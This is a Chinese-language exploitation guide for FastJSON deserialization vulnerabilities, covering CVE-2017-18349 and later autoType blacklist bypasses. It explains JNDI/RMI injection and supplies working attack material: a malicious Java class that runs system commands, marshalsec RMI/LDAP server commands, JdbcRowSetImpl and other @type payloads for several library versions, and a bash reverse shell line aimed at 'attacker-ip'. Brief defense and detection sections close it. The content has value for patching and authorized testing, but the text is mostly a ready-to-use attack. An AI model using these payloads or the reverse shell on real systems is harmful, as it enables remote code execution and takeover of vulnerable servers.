某json远程命令执行漏洞总结
字数 1732 2025-08-05 00:15:18
FastJSON反序列化漏洞全面解析与利用指南
1. FastJSON基础与漏洞背景
FastJSON是阿里巴巴开发的一款高性能JSON处理库,用于实现Java对象与JSON之间的相互转换。它支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
1.1 FastJSON基本用法
// 将json字符串转换为json对象
JSONObject obj = JSON.parseObject(jsonStr);
1.2 相关技术背景
JNDI (Java Naming and Directory Interface)
- 提供统一的客户端API,用于查找和访问各种命名和目录服务
- 支持的服务包括:DNS、LDAP、CORBA对象服务、RMI
- 可以根据名字动态加载数据
RMI (Remote Method Invocation)
- Java环境设计的远程方法调用机制
- 依赖JRMP协议(Java Remote Message Protocol)
- 对象通过序列化方式进行编码传输
2. JNDI注入原理
2.1 利用JNDI References进行注入
RMI服务端可以通过References类绑定外部远程对象。当客户端使用lookup获取对应名字时:
- 服务端返回ReferenceWrapper代理
- 客户端调用getReference()获取Reference类
- 通过factory类将Reference转换为具体对象实例
服务端示例代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 参数:className, factory, factoryLocation
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
客户端示例代码:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception {
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
2.2 利用流程
- 开启HTTP服务器,放置恶意类
- 开启恶意RMI服务器
- 攻击者控制url参数指向恶意RMI服务器
- 恶意RMI服务器返回ReferenceWrapper类
- 目标执行lookup时加载并实例化恶意类
Java版本限制:
- 基于RMI的利用:JDK 6u132,7u131,8u121之前
- 基于LDAP的利用:JDK 11.0.1、8u191、7u201、6u211之前
- 在Java 8u191+版本中,Oracle对LDAP向量设置了限制(CVE-2018-3149)
3. FastJSON漏洞详解
3.1 Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)
漏洞原理:
FastJson在解析json时支持使用autoType实例化类并调用set/get方法。攻击者可传入危险类,连接远程RMI主机执行恶意代码。
影响版本:Fastjson < 1.2.25
利用步骤:
- 编写恶意类:
import java.lang.Runtime;
import java.lang.Process;
public class zcc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {}
}
}
- 编译并开启HTTP服务:
javac zcc.java
python -m SimpleHTTPServer 80
- 启动RMI服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#zcc" 9999
- 发送恶意Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://your-ip:9999/zcc",
"autoCommit": true
}
反弹Shell示例:
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/attacker-ip/port 0>&1"};
3.2 Fastjson 1.2.47远程命令执行漏洞
漏洞原理:
1.2.24版本后增加了反序列化白名单,但在1.2.48前版本中,攻击者可构造特殊json字符串绕过白名单检测。
影响版本:Fastjson < 1.2.47
利用方法:
与1.2.24类似,但使用不同的Payload构造方式。
3.3 其他版本绕过技术
1.2.41及以下版本
- 绕过方法:在类名头部加
L,尾部加;
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://x.x.x.x:9999/exploit",
"autoCommit":true
}
1.2.42及以下版本
- 绕过方法:嵌套两层
L和;
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exploit",
"autoCommit":true
}
1.2.45及以下版本
- 前提:目标存在mybatis 3.x.x(<3.5.0)的jar包
- 使用
org.apache.ibatis.datasource类(1.2.46加入黑名单)
1.2.47及以下版本
- 通杀<1.2.48版本,autoType关闭也可用
- 利用
java.lang.Class缓存机制绕过黑名单
1.2.62及以下版本
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://x.x.x.x:9999/exploit"
}
1.2.66及以下版本
- 基于黑名单绕过,需autoTypeSupport为true
4. 防御措施
- 升级FastJSON到最新版本
- 关闭autoType功能
- 使用安全模式配置
- 升级JDK到最新版本
- 实施网络隔离,限制外连请求
5. 检测方法
- 使用DNSLog检测:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn/test",
"autoCommit":true
}
- 报错检测法:发送畸形JSON数据观察响应
6. 工具使用
marshalsec工具:
# 编译
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
# 启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#classname" port
# 启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-ip/#classname" port
漏洞利用流程总结:
- 编写恶意Java类并编译
- 开启HTTP服务托管class文件
- 使用marshalsec开启RMI/LDAP服务
- 构造特定Payload发送给目标
- 观察命令执行结果或建立反向连接